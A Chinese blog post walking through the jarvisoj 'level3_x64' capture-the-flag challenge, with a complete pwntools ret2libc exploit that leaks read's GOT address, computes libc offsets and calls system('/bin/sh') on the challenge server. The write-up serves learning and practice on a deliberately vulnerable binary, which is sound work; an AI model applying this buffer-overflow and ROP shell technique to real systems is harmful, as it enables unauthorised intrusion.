jarvisoj level3_x64

ida打开checksec看一下,开启了nx,不想shellcode什么的了。
反编译一下看看发现write也有,read也有,不过没找到system也没找到'/bin/sh'
给了一个libc链接库,打开看看system也有,'bin/sh'也有
感觉思路应该和level3差不多,只不过变成了64位的传参。

总体思路,利用write函数打印出read在got表中的真实地址,然后利用libc中的偏移来求出system和bin/sh的地址,构造system('/bin/sh')来得到shell

ROPgadget --binary level3_x64 --only 'pop|ret'

好的我们找到了前两个参数的地址!rdi,rsi,第三个我们默认就够了
rdi = 0x4006b3
rsi = 0x4006b1

64位传参数顺序 参数1-6先进寄存器,后面和32位是一样的。
调用函数读的是plt表第一次时候老是用got表。。。
还有一点就是说要看一下rdx寄存器的值和8的大小相比较,发现rdx寄存器的值是大于8的,所以就不用传read的第三个参数了。
脚本

from pwn import *

# p = process('./level3_x64')
p = remote("pwn2.jarvisoj.com", 9883)

elf = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

rdi = 0x4006b3 
rsi = 0x4006b1
#ROPgadget --binary level3_x64 --only 'pop|ret'

func_addr = elf.symbols['vulnerable_function'] 
write_plt = elf.plt['write']  
read_got = elf.got['read']

payload = 'A' * 0x80 + 'B' * 0x08
payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(read_got) + p64(0)
payload += p64(write_plt) + p64(func_addr)

p.recvuntil('Input:\n')
p.sendline(payload)

read_addr = u64(p.recv(8))
# print 'read' + hex(read_addr)

p.recvuntil('Input:\n')

binsh = libc.search('/bin/sh').next()
system = libc.symbols['system']
read = libc.symbols['read']

offset = read_addr - read
binsh_addr = binsh + offset
system_addr = system + offset

payload2 = 'A' * 0x80 + 'B' * 0x08
payload2 += p64(rdi) + p64(binsh_addr)
payload2 += p64(system_addr) + p64(func_addr)

p.sendline(payload2)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,376评论 6 491
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,126评论 2 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,966评论 0 347
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,432评论 1 283
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,519评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,792评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,933评论 3 406
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,701评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,143评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,488评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,626评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,292评论 4 329
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,896评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,742评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,977评论 1 265
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,324评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,494评论 2 348

推荐阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,673评论 0 2
  • 最近在学蒸米的《一步一步学ROP之linux_x86篇》,内容写的很详细,个人学到了很多,但同时学的过程中也有很多...
    2mpossible阅读 1,508评论 0 5
  • mean to add the formatted="false" attribute?.[ 46% 47325/...
    ProZoom阅读 2,694评论 0 3
  • 曾经以为 花开的太早是个美丽的错 尽管遇到许多心动的女生只能隐藏在心里 然而还是了干了那一杯时间的毒药 错过了最美...
    小小丰兄阅读 312评论 0 2